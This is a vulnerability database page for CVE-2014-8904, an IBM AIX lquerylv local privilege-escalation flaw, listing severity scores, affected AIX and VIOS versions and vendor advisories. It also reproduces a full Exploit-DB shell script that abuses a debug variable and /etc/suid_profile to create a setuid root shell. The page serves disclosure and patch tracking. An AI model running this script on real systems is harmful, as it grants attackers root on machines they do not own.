CVE-2014-8904 : Detail

CVE-2014-8904

A01-Broken Access Control
0.06%V3
Local
2015-01-15
21h00 +00:00
2017-09-07
13h57 +00:00
CVE.org
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CVE Descriptions

lquerylv in cmdlvm in IBM AIX 5.3, 6.1, and 7.1 and VIOS 2.2.x allows local users to gain privileges via a crafted DBGCMD_LQUERYLV environment-variable value.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 38576

Publication date : 2015-10-29 23h00 +00:00
Author : S2 Crew
EDB Verified : No

#!/bin/sh # # Exploit Title: AIX 7.1 lquerylv privilege escalation # Date: 2015.10.30 # Exploit Author: S2 Crew [Hungary] # Vendor Homepage: www.ibm.com # Software Link: - # Version: - # Tested on: AIX 7.1 (7100-02-03-1334) # CVE : CVE-2014-8904 # # From file writing to command execution ;) # export _DBGCMD_LQUERYLV=1 umask 0 ln -s /etc/suid_profile /tmp/DEBUGCMD /usr/sbin/lquerylv cat << EOF >/etc/suid_profile cp /bin/ksh /tmp/r00tshell /usr/bin/syscall setreuid 0 0 chown root:system /tmp/r00tshell chmod 6755 /tmp/r00tshell EOF /opt/IBMinvscout/bin/invscoutClient_VPD_Survey # suid_profile because uid!=euid /tmp/r00tshell

Products Mentioned

Configuraton 0

Ibm>>Vios >> Version 2.2.0.10

Ibm>>Vios >> Version 2.2.0.11

Ibm>>Vios >> Version 2.2.0.12

Ibm>>Vios >> Version 2.2.0.13

Ibm>>Vios >> Version 2.2.1.0

Ibm>>Vios >> Version 2.2.1.1

Ibm>>Vios >> Version 2.2.1.3

Ibm>>Vios >> Version 2.2.1.4

Ibm>>Vios >> Version 2.2.1.5

Ibm>>Vios >> Version 2.2.1.6

Ibm>>Vios >> Version 2.2.1.7

Ibm>>Vios >> Version 2.2.1.8

Ibm>>Vios >> Version 2.2.1.9

Ibm>>Vios >> Version 2.2.2.0

Ibm>>Vios >> Version 2.2.2.1

Ibm>>Vios >> Version 2.2.2.2

Ibm>>Vios >> Version 2.2.2.3

Ibm>>Vios >> Version 2.2.2.4

Ibm>>Vios >> Version 2.2.2.5

Ibm>>Vios >> Version 2.2.3.0

Ibm>>Vios >> Version 2.2.3.1

Ibm>>Vios >> Version 2.2.3.2

Ibm>>Vios >> Version 2.2.3.3

Ibm>>Vios >> Version 2.2.3.4

Configuraton 0

Ibm>>Aix >> Version 5.3

Ibm>>Aix >> Version 6.1

Ibm>>Aix >> Version 7.1

References

http://secunia.com/advisories/62195
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securitytracker.com/id/1031596
Tags : vdb-entry, x_refsource_SECTRACK
http://www.ibm.com/support/docview.wss?uid=isg1IV67907
Tags : vendor-advisory, x_refsource_AIXAPAR
http://www.ibm.com/support/docview.wss?uid=isg1IV68070
Tags : vendor-advisory, x_refsource_AIXAPAR
http://www.ibm.com/support/docview.wss?uid=isg1IV68082
Tags : vendor-advisory, x_refsource_AIXAPAR
https://www.exploit-db.com/exploits/38576/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.ibm.com/support/docview.wss?uid=isg1IV68478
Tags : vendor-advisory, x_refsource_AIXAPAR
http://www.ibm.com/support/docview.wss?uid=isg1IV67908
Tags : vendor-advisory, x_refsource_AIXAPAR